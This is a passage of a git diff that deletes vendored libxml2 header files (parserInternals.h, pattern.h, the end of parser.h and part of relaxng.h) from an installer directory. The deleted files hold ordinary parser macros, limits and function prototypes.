XML_WITH_REGEXP = 22, - XML_WITH_AUTOMATA = 23, - XML_WITH_EXPR = 24, - XML_WITH_SCHEMAS = 25, - XML_WITH_SCHEMATRON = 26, - XML_WITH_MODULES = 27, - XML_WITH_DEBUG = 28, - XML_WITH_DEBUG_MEM = 29, - XML_WITH_DEBUG_RUN = 30, - XML_WITH_ZLIB = 31, - XML_WITH_ICU = 32, - XML_WITH_LZMA = 33, - XML_WITH_NONE = 99999 /* just to be sure of allocation size */ -} xmlFeature; - -XMLPUBFUN int XMLCALL - xmlHasFeature (xmlFeature feature); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/parserInternals.h b/installer/libxml2/include/libxml/parserInternals.h deleted file mode 100644 index f30fc68..0000000 --- a/installer/libxml2/include/libxml/parserInternals.h +++ /dev/null @@ -1,644 +0,0 @@ -/* - * Summary: internals routines and limits exported by the parser. - * Description: this module exports a number of internal parsing routines - * they are not really all intended for applications but - * can prove useful doing low level processing. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_PARSER_INTERNALS_H__ -#define __XML_PARSER_INTERNALS_H__ - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlParserMaxDepth: - * - * arbitrary depth limit for the XML documents that we allow to - * process. This is not a limitation of the parser but a safety - * boundary feature, use XML_PARSE_HUGE option to override it. - */ -XMLPUBVAR unsigned int xmlParserMaxDepth; - -/** - * XML_MAX_TEXT_LENGTH: - * - * Maximum size allowed for a single text node when building a tree. - * This is not a limitation of the parser but a safety boundary feature, - * use XML_PARSE_HUGE option to override it. - * Introduced in 2.9.0 - */ -#define XML_MAX_TEXT_LENGTH 10000000 - -/** - * XML_MAX_NAME_LENGTH: - * - * Maximum size allowed for a markup identitier - * This is not a limitation of the parser but a safety boundary feature, - * use XML_PARSE_HUGE option to override it. - * Note that with the use of parsing dictionaries overriding the limit - * may result in more runtime memory usage in face of "unfriendly' content - * Introduced in 2.9.0 - */ -#define XML_MAX_NAME_LENGTH 50000 - -/** - * XML_MAX_DICTIONARY_LIMIT: - * - * Maximum size allowed by the parser for a dictionary by default - * This is not a limitation of the parser but a safety boundary feature, - * use XML_PARSE_HUGE option to override it. - * Introduced in 2.9.0 - */ -#define XML_MAX_DICTIONARY_LIMIT 10000000 - -/** - * XML_MAX_LOOKUP_LIMIT: - * - * Maximum size allowed by the parser for ahead lookup - * This is an upper boundary enforced by the parser to avoid bad - * behaviour on "unfriendly' content - * Introduced in 2.9.0 - */ -#define XML_MAX_LOOKUP_LIMIT 10000000 - -/** - * XML_MAX_NAMELEN: - * - * Identifiers can be longer, but this will be more costly - * at runtime. - */ -#define XML_MAX_NAMELEN 100 - -/** - * INPUT_CHUNK: - * - * The parser tries to always have that amount of input ready. - * One of the point is providing context when reporting errors. - */ -#define INPUT_CHUNK 250 - -/************************************************************************ - * * - * UNICODE version of the macros. * - * * - ************************************************************************/ -/** - * IS_BYTE_CHAR: - * @c: an byte value (int) - * - * Macro to check the following production in the XML spec: - * - * [2] Char ::= #x9 | #xA | #xD | [#x20...] - * any byte character in the accepted range - */ -#define IS_BYTE_CHAR(c) xmlIsChar_ch(c) - -/** - * IS_CHAR: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] - * | [#x10000-#x10FFFF] - * any Unicode character, excluding the surrogate blocks, FFFE, and FFFF. - */ -#define IS_CHAR(c) xmlIsCharQ(c) - -/** - * IS_CHAR_CH: - * @c: an xmlChar (usually an unsigned char) - * - * Behaves like IS_CHAR on single-byte value - */ -#define IS_CHAR_CH(c) xmlIsChar_ch(c) - -/** - * IS_BLANK: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [3] S ::= (#x20 | #x9 | #xD | #xA)+ - */ -#define IS_BLANK(c) xmlIsBlankQ(c) - -/** - * IS_BLANK_CH: - * @c: an xmlChar value (normally unsigned char) - * - * Behaviour same as IS_BLANK - */ -#define IS_BLANK_CH(c) xmlIsBlank_ch(c) - -/** - * IS_BASECHAR: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [85] BaseChar ::= ... long list see REC ... - */ -#define IS_BASECHAR(c) xmlIsBaseCharQ(c) - -/** - * IS_DIGIT: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [88] Digit ::= ... long list see REC ... - */ -#define IS_DIGIT(c) xmlIsDigitQ(c) - -/** - * IS_DIGIT_CH: - * @c: an xmlChar value (usually an unsigned char) - * - * Behaves like IS_DIGIT but with a single byte argument - */ -#define IS_DIGIT_CH(c) xmlIsDigit_ch(c) - -/** - * IS_COMBINING: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * [87] CombiningChar ::= ... long list see REC ... - */ -#define IS_COMBINING(c) xmlIsCombiningQ(c) - -/** - * IS_COMBINING_CH: - * @c: an xmlChar (usually an unsigned char) - * - * Always false (all combining chars > 0xff) - */ -#define IS_COMBINING_CH(c) 0 - -/** - * IS_EXTENDER: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [89] Extender ::= #x00B7 | #x02D0 | #x02D1 | #x0387 | #x0640 | - * #x0E46 | #x0EC6 | #x3005 | [#x3031-#x3035] | - * [#x309D-#x309E] | [#x30FC-#x30FE] - */ -#define IS_EXTENDER(c) xmlIsExtenderQ(c) - -/** - * IS_EXTENDER_CH: - * @c: an xmlChar value (usually an unsigned char) - * - * Behaves like IS_EXTENDER but with a single-byte argument - */ -#define IS_EXTENDER_CH(c) xmlIsExtender_ch(c) - -/** - * IS_IDEOGRAPHIC: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [86] Ideographic ::= [#x4E00-#x9FA5] | #x3007 | [#x3021-#x3029] - */ -#define IS_IDEOGRAPHIC(c) xmlIsIdeographicQ(c) - -/** - * IS_LETTER: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [84] Letter ::= BaseChar | Ideographic - */ -#define IS_LETTER(c) (IS_BASECHAR(c) || IS_IDEOGRAPHIC(c)) - -/** - * IS_LETTER_CH: - * @c: an xmlChar value (normally unsigned char) - * - * Macro behaves like IS_LETTER, but only check base chars - * - */ -#define IS_LETTER_CH(c) xmlIsBaseChar_ch(c) - -/** - * IS_ASCII_LETTER: - * @c: an xmlChar value - * - * Macro to check [a-zA-Z] - * - */ -#define IS_ASCII_LETTER(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \ - ((0x61 <= (c)) && ((c) <= 0x7a))) - -/** - * IS_ASCII_DIGIT: - * @c: an xmlChar value - * - * Macro to check [0-9] - * - */ -#define IS_ASCII_DIGIT(c) ((0x30 <= (c)) && ((c) <= 0x39)) - -/** - * IS_PUBIDCHAR: - * @c: an UNICODE value (int) - * - * Macro to check the following production in the XML spec: - * - * - * [13] PubidChar ::= #x20 | #xD | #xA | [a-zA-Z0-9] | [-'()+,./:=?;!*#@$_%] - */ -#define IS_PUBIDCHAR(c) xmlIsPubidCharQ(c) - -/** - * IS_PUBIDCHAR_CH: - * @c: an xmlChar value (normally unsigned char) - * - * Same as IS_PUBIDCHAR but for single-byte value - */ -#define IS_PUBIDCHAR_CH(c) xmlIsPubidChar_ch(c) - -/** - * SKIP_EOL: - * @p: and UTF8 string pointer - * - * Skips the end of line chars. - */ -#define SKIP_EOL(p) \ - if (*(p) == 0x13) { p++ ; if (*(p) == 0x10) p++; } \ - if (*(p) == 0x10) { p++ ; if (*(p) == 0x13) p++; } - -/** - * MOVETO_ENDTAG: - * @p: and UTF8 string pointer - * - * Skips to the next '>' char. - */ -#define MOVETO_ENDTAG(p) \ - while ((*p) && (*(p) != '>')) (p)++ - -/** - * MOVETO_STARTTAG: - * @p: and UTF8 string pointer - * - * Skips to the next '<' char. - */ -#define MOVETO_STARTTAG(p) \ - while ((*p) && (*(p) != '<')) (p)++ - -/** - * Global variables used for predefined strings. - */ -XMLPUBVAR const xmlChar xmlStringText[]; -XMLPUBVAR const xmlChar xmlStringTextNoenc[]; -XMLPUBVAR const xmlChar xmlStringComment[]; - -/* - * Function to finish the work of the macros where needed. - */ -XMLPUBFUN int XMLCALL xmlIsLetter (int c); - -/** - * Parser context. - */ -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateFileParserCtxt (const char *filename); -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateURLParserCtxt (const char *filename, - int options); -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateMemoryParserCtxt(const char *buffer, - int size); -XMLPUBFUN xmlParserCtxtPtr XMLCALL - xmlCreateEntityParserCtxt(const xmlChar *URL, - const xmlChar *ID, - const xmlChar *base); -XMLPUBFUN int XMLCALL - xmlSwitchEncoding (xmlParserCtxtPtr ctxt, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - xmlSwitchToEncoding (xmlParserCtxtPtr ctxt, - xmlCharEncodingHandlerPtr handler); -XMLPUBFUN int XMLCALL - xmlSwitchInputEncoding (xmlParserCtxtPtr ctxt, - xmlParserInputPtr input, - xmlCharEncodingHandlerPtr handler); - -#ifdef IN_LIBXML -/* internal error reporting */ -XMLPUBFUN void XMLCALL - __xmlErrEncoding (xmlParserCtxtPtr ctxt, - xmlParserErrors xmlerr, - const char *msg, - const xmlChar * str1, - const xmlChar * str2) LIBXML_ATTR_FORMAT(3,0); -#endif - -/** - * Input Streams. - */ -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewStringInputStream (xmlParserCtxtPtr ctxt, - const xmlChar *buffer); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewEntityInputStream (xmlParserCtxtPtr ctxt, - xmlEntityPtr entity); -XMLPUBFUN int XMLCALL - xmlPushInput (xmlParserCtxtPtr ctxt, - xmlParserInputPtr input); -XMLPUBFUN xmlChar XMLCALL - xmlPopInput (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlFreeInputStream (xmlParserInputPtr input); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewInputFromFile (xmlParserCtxtPtr ctxt, - const char *filename); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNewInputStream (xmlParserCtxtPtr ctxt); - -/** - * Namespaces. - */ -XMLPUBFUN xmlChar * XMLCALL - xmlSplitQName (xmlParserCtxtPtr ctxt, - const xmlChar *name, - xmlChar **prefix); - -/** - * Generic production rules. - */ -XMLPUBFUN const xmlChar * XMLCALL - xmlParseName (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseNmtoken (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseEntityValue (xmlParserCtxtPtr ctxt, - xmlChar **orig); -XMLPUBFUN xmlChar * XMLCALL - xmlParseAttValue (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseSystemLiteral (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParsePubidLiteral (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseCharData (xmlParserCtxtPtr ctxt, - int cdata); -XMLPUBFUN xmlChar * XMLCALL - xmlParseExternalID (xmlParserCtxtPtr ctxt, - xmlChar **publicID, - int strict); -XMLPUBFUN void XMLCALL - xmlParseComment (xmlParserCtxtPtr ctxt); -XMLPUBFUN const xmlChar * XMLCALL - xmlParsePITarget (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParsePI (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseNotationDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseEntityDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseDefaultDecl (xmlParserCtxtPtr ctxt, - xmlChar **value); -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlParseNotationType (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlEnumerationPtr XMLCALL - xmlParseEnumerationType (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseEnumeratedType (xmlParserCtxtPtr ctxt, - xmlEnumerationPtr *tree); -XMLPUBFUN int XMLCALL - xmlParseAttributeType (xmlParserCtxtPtr ctxt, - xmlEnumerationPtr *tree); -XMLPUBFUN void XMLCALL - xmlParseAttributeListDecl(xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlParseElementMixedContentDecl - (xmlParserCtxtPtr ctxt, - int inputchk); -XMLPUBFUN xmlElementContentPtr XMLCALL - xmlParseElementChildrenContentDecl - (xmlParserCtxtPtr ctxt, - int inputchk); -XMLPUBFUN int XMLCALL - xmlParseElementContentDecl(xmlParserCtxtPtr ctxt, - const xmlChar *name, - xmlElementContentPtr *result); -XMLPUBFUN int XMLCALL - xmlParseElementDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseMarkupDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseCharRef (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlParseEntityRef (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseReference (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParsePEReference (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseDocTypeDecl (xmlParserCtxtPtr ctxt); -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN const xmlChar * XMLCALL - xmlParseAttribute (xmlParserCtxtPtr ctxt, - xmlChar **value); -XMLPUBFUN const xmlChar * XMLCALL - xmlParseStartTag (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseEndTag (xmlParserCtxtPtr ctxt); -#endif /* LIBXML_SAX1_ENABLED */ -XMLPUBFUN void XMLCALL - xmlParseCDSect (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseContent (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseElement (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseVersionNum (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseVersionInfo (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlParseEncName (xmlParserCtxtPtr ctxt); -XMLPUBFUN const xmlChar * XMLCALL - xmlParseEncodingDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlParseSDDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseXMLDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseTextDecl (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseMisc (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseExternalSubset (xmlParserCtxtPtr ctxt, - const xmlChar *ExternalID, - const xmlChar *SystemID); -/** - * XML_SUBSTITUTE_NONE: - * - * If no entities need to be substituted. - */ -#define XML_SUBSTITUTE_NONE 0 -/** - * XML_SUBSTITUTE_REF: - * - * Whether general entities need to be substituted. - */ -#define XML_SUBSTITUTE_REF 1 -/** - * XML_SUBSTITUTE_PEREF: - * - * Whether parameter entities need to be substituted. - */ -#define XML_SUBSTITUTE_PEREF 2 -/** - * XML_SUBSTITUTE_BOTH: - * - * Both general and parameter entities need to be substituted. - */ -#define XML_SUBSTITUTE_BOTH 3 - -XMLPUBFUN xmlChar * XMLCALL - xmlStringDecodeEntities (xmlParserCtxtPtr ctxt, - const xmlChar *str, - int what, - xmlChar end, - xmlChar end2, - xmlChar end3); -XMLPUBFUN xmlChar * XMLCALL - xmlStringLenDecodeEntities (xmlParserCtxtPtr ctxt, - const xmlChar *str, - int len, - int what, - xmlChar end, - xmlChar end2, - xmlChar end3); - -/* - * Generated by MACROS on top of parser.c c.f. PUSH_AND_POP. - */ -XMLPUBFUN int XMLCALL nodePush (xmlParserCtxtPtr ctxt, - xmlNodePtr value); -XMLPUBFUN xmlNodePtr XMLCALL nodePop (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL inputPush (xmlParserCtxtPtr ctxt, - xmlParserInputPtr value); -XMLPUBFUN xmlParserInputPtr XMLCALL inputPop (xmlParserCtxtPtr ctxt); -XMLPUBFUN const xmlChar * XMLCALL namePop (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL namePush (xmlParserCtxtPtr ctxt, - const xmlChar *value); - -/* - * other commodities shared between parser.c and parserInternals. - */ -XMLPUBFUN int XMLCALL xmlSkipBlankChars (xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL xmlStringCurrentChar (xmlParserCtxtPtr ctxt, - const xmlChar *cur, - int *len); -XMLPUBFUN void XMLCALL xmlParserHandlePEReference(xmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL xmlCheckLanguageID (const xmlChar *lang); - -/* - * Really core function shared with HTML parser. - */ -XMLPUBFUN int XMLCALL xmlCurrentChar (xmlParserCtxtPtr ctxt, - int *len); -XMLPUBFUN int XMLCALL xmlCopyCharMultiByte (xmlChar *out, - int val); -XMLPUBFUN int XMLCALL xmlCopyChar (int len, - xmlChar *out, - int val); -XMLPUBFUN void XMLCALL xmlNextChar (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL xmlParserInputShrink (xmlParserInputPtr in); - -#ifdef LIBXML_HTML_ENABLED -/* - * Actually comes from the HTML parser but launched from the init stuff. - */ -XMLPUBFUN void XMLCALL htmlInitAutoClose (void); -XMLPUBFUN htmlParserCtxtPtr XMLCALL htmlCreateFileParserCtxt(const char *filename, - const char *encoding); -#endif - -/* - * Specific function to keep track of entities references - * and used by the XSLT debugger. - */ -#ifdef LIBXML_LEGACY_ENABLED -/** - * xmlEntityReferenceFunc: - * @ent: the entity - * @firstNode: the fist node in the chunk - * @lastNode: the last nod in the chunk - * - * Callback function used when one needs to be able to track back the - * provenance of a chunk of nodes inherited from an entity replacement. - */ -typedef void (*xmlEntityReferenceFunc) (xmlEntityPtr ent, - xmlNodePtr firstNode, - xmlNodePtr lastNode); - -XMLPUBFUN void XMLCALL xmlSetEntityReferenceFunc (xmlEntityReferenceFunc func); - -XMLPUBFUN xmlChar * XMLCALL - xmlParseQuotedString (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlParseNamespace (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlNamespaceParseNSDef (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlScanName (xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlNamespaceParseNCName (xmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL xmlParserHandleReference(xmlParserCtxtPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlNamespaceParseQName (xmlParserCtxtPtr ctxt, - xmlChar **prefix); -/** - * Entities - */ -XMLPUBFUN xmlChar * XMLCALL - xmlDecodeEntities (xmlParserCtxtPtr ctxt, - int len, - int what, - xmlChar end, - xmlChar end2, - xmlChar end3); -XMLPUBFUN void XMLCALL - xmlHandleEntity (xmlParserCtxtPtr ctxt, - xmlEntityPtr entity); - -#endif /* LIBXML_LEGACY_ENABLED */ - -#ifdef IN_LIBXML -/* - * internal only - */ -XMLPUBFUN void XMLCALL - xmlErrMemory (xmlParserCtxtPtr ctxt, - const char *extra); -#endif - -#ifdef __cplusplus -} -#endif -#endif /* __XML_PARSER_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/pattern.h b/installer/libxml2/include/libxml/pattern.h deleted file mode 100644 index 97d2cd2..0000000 --- a/installer/libxml2/include/libxml/pattern.h +++ /dev/null @@ -1,100 +0,0 @@ -/* - * Summary: pattern expression handling - * Description: allows to compile and test pattern expressions for nodes - * either in a tree or based on a parser state. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_PATTERN_H__ -#define __XML_PATTERN_H__ - -#include -#include -#include - -#ifdef LIBXML_PATTERN_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlPattern: - * - * A compiled (XPath based) pattern to select nodes - */ -typedef struct _xmlPattern xmlPattern; -typedef xmlPattern *xmlPatternPtr; - -/** - * xmlPatternFlags: - * - * This is the set of options affecting the behaviour of pattern - * matching with this module - * - */ -typedef enum { - XML_PATTERN_DEFAULT = 0, /* simple pattern match */ - XML_PATTERN_XPATH = 1<<0, /* standard XPath pattern */ - XML_PATTERN_XSSEL = 1<<1, /* XPath subset for schema selector */ - XML_PATTERN_XSFIELD = 1<<2 /* XPath subset for schema field */ -} xmlPatternFlags; - -XMLPUBFUN void XMLCALL - xmlFreePattern (xmlPatternPtr comp); - -XMLPUBFUN void XMLCALL - xmlFreePatternList (xmlPatternPtr comp); - -XMLPUBFUN xmlPatternPtr XMLCALL - xmlPatterncompile (const xmlChar *pattern, - xmlDict *dict, - int flags, - const xmlChar **namespaces); -XMLPUBFUN int XMLCALL - xmlPatternMatch (xmlPatternPtr comp, - xmlNodePtr node); - -/* streaming interfaces */ -typedef struct _xmlStreamCtxt xmlStreamCtxt; -typedef xmlStreamCtxt *xmlStreamCtxtPtr; - -XMLPUBFUN int XMLCALL - xmlPatternStreamable (xmlPatternPtr comp); -XMLPUBFUN int XMLCALL - xmlPatternMaxDepth (xmlPatternPtr comp); -XMLPUBFUN int XMLCALL - xmlPatternMinDepth (xmlPatternPtr comp); -XMLPUBFUN int XMLCALL - xmlPatternFromRoot (xmlPatternPtr comp); -XMLPUBFUN xmlStreamCtxtPtr XMLCALL - xmlPatternGetStreamCtxt (xmlPatternPtr comp); -XMLPUBFUN void XMLCALL - xmlFreeStreamCtxt (xmlStreamCtxtPtr stream); -XMLPUBFUN int XMLCALL - xmlStreamPushNode (xmlStreamCtxtPtr stream, - const xmlChar *name, - const xmlChar *ns, - int nodeType); -XMLPUBFUN int XMLCALL - xmlStreamPush (xmlStreamCtxtPtr stream, - const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN int XMLCALL - xmlStreamPushAttr (xmlStreamCtxtPtr stream, - const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN int XMLCALL - xmlStreamPop (xmlStreamCtxtPtr stream); -XMLPUBFUN int XMLCALL - xmlStreamWantsAnyNode (xmlStreamCtxtPtr stream); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_PATTERN_ENABLED */ - -#endif /* __XML_PATTERN_H__ */ diff --git a/installer/libxml2/include/libxml/relaxng.h b/installer/libxml2/include/libxml/relaxng.h deleted file mode 100644 index f269c9e..0000000 --- a/installer/libxml2/include/libxml/relaxng.h +++ /dev/null @@ -1,217 +0,0 @@ -/* - * Summary: implementation of the Relax-NG validation - * Description: implementation of the Relax-NG validation - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_RELAX_NG__ -#define __XML_RELAX_NG__ - -#include -#include -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _xmlRelaxNG xmlRelaxNG; -typedef xmlRelaxNG *xmlRelaxNGPtr; - - -/** - * xmlRelaxNGValidityErrorFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of an error callback from a Relax-NG validation - */ -typedef void (XMLCDECL *xmlRelaxNGValidityErrorFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * xmlRelaxNGValidityWarningFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of a warning callback from a Relax-NG validation - */ -typedef void (XMLCDECL *xmlRelaxNGValidityWarningFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * A schemas validation context - */ -typedef struct _xmlRelaxNGParserCtxt xmlRelaxNGParserCtxt; -typedef xmlRelaxNGParserCtxt *xmlRelaxNGParserCtxtPtr; - -typedef struct _xmlRelaxNGValidCtxt xmlRelaxNGValidCtxt; -typedef xmlRelaxNGValidCtxt *xmlRelaxNGValidCtxtPtr; - -/* - * xmlRelaxNGValidErr: - * - * List of possible Relax NG validation errors - */ -typedef enum { - XML_RELAXNG_OK = 0, - XML_RELAXNG_ERR_MEMORY, - XML_RELAXNG_ERR_TYPE, - XML_RELAXNG_ERR_TYPEVAL, - XML_RELAXNG_ERR_DUPID, - XML_RELAXNG_ERR_TYPECMP, - XML_RELAXNG_ERR_NOSTATE, - XML_RELAXNG_ERR_NODEFINE, - XML_RELAXNG_ERR_LISTEXTRA, - XML_RELAXNG_ERR_LISTEMPTY, - XML_RELAXNG_ERR_INTERNODATA, - XML_RELAXNG_ERR_INTERSEQ, - XML_RELAXNG_ERR_INTEREXTRA, - XML_RELAXNG_ERR_ELEMNAME, - XML_RELAXNG_ERR_ATTRNAME, - XML_RELAXNG_ERR_ELEMNONS, - XML_RELAXNG_ERR_ATTRNONS, - XML_RELAXNG_ERR_ELEMWRONGNS, - XML_RELAXNG_ERR_ATTRWRONGNS, - XML_RELAXNG_ERR_ELEMEXTRANS, - XML_RELAXNG_ERR_ATTREXTRANS, - XML_RELAXNG_ERR_ELEMNOTEMPTY, - XML_RELAXNG_ERR_NOELEM, - XML_RELAXNG_ERR_NOTELEM, - XML_RELAXNG_ERR_ATTRVALID, - XML_RELAXNG_ERR_CONTENTVALID, - XML_RELAXNG_ERR_EXTRACONTENT, - XML_RELAXNG_ERR_INVALIDATTR, - XML_RELAXNG_ERR_DATAELEM, - XML_RELAXNG_ERR_VALELEM, - XML_RELAXNG_ERR_LISTELEM, - XML_RELAXNG_ERR_DATATYPE, - XML_RELAXNG_ERR_VALUE, - XML_RELAXNG_ERR_LIST, - XML_RELAXNG_ERR_NOGRAMMAR, - XML_RELAXNG_ERR_EXTRADATA, - XML_RELAXNG_ERR_LACKDATA, - XML_RELAXNG_ERR_INTERNAL, - XML_RELAXNG_ERR_ELEMWRONG, - XML_RELAXNG_ERR_TEXTWRONG -} xmlRelaxNGValidErr; - -/* - * xmlRelaxNGParserFlags: - * - * List of possible Relax NG Parser flags - */ -typedef enum { - XML_RELAXNGP_NONE = 0, - XML_RELAXNGP_FREE_DOC = 1, - XML_RELAXNGP_CRNG = 2 -} xmlRelaxNGParserFlag; - -XMLPUBFUN int XMLCALL - xmlRelaxNGInitTypes (void); -XMLPUBFUN void XMLCALL - xmlRelaxNGCleanupTypes (void); - -/* - * Interfaces for parsing. - */ -XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL - xmlRelaxNGNewParserCtxt (const char *URL); -XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL - xmlRelaxNGNewMemParserCtxt (const char *buffer, - int size); -XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL - xmlRelaxNGNewDocParserCtxt (xmlDocPtr doc); - -XMLPUBFUN int XMLCALL - xmlRelaxParserSetFlag (xmlRelaxNGParserCtxtPtr ctxt, - int flag); - -XMLPUBFUN void XMLCALL - xmlRelaxNGFreeParserCtxt (xmlRelaxNGParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlRelaxNGSetParserErrors(xmlRelaxNGParserCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc err, - xmlRelaxNGValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlRelaxNGGetParserErrors(xmlRelaxNGParserCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc *err, - xmlRelaxNGValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN void XMLCALL - xmlRelaxNGSetParserStructuredErrors( - xmlRelaxNGParserCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -XMLPUBFUN xmlRelaxNGPtr XMLCALL - xmlRelaxNGParse (xmlRelaxNGParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlRelaxNGFree (xmlRelaxNGPtr schema); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlRelaxNGDump (FILE *output, - xmlRelaxNGPtr schema); -XMLPUBFUN void XMLCALL - xmlRelaxNGDumpTree (FILE * output, - xmlRelaxNGPtr schema); -#endif /* LIBXML_OUTPUT_ENABLED */ -/* - * Interfaces for validating - */ -XMLPUBFUN void XMLCALL - xmlRelaxNGSetValidErrors(xmlRelaxNGValidCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc err, - xmlRelaxNGValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlRelaxNGGetValidErrors(xmlRelaxNGValidCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc *err, - xmlRelaxNGValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN void XMLCALL - xmlRelaxNGSetValidStructuredErrors(xmlRelaxNGValidCtxtPtr ctxt, - xmlStructuredErrorFunc serror, void *ctx); -XMLPUBFUN xmlRelaxNGValidCtxtPtr XMLCALL - xmlRelaxNGNewValidCtxt (xmlRelaxNGPtr schema); -XMLPUBFUN void XMLCALL - xmlRelaxNGFreeValidCtxt (xmlRelaxNGValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidateDoc (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc); -/* - * Interfaces for progressive validation when possible - */ -XMLPUBFUN int XMLCALL - xmlRelaxNGValidatePushElement 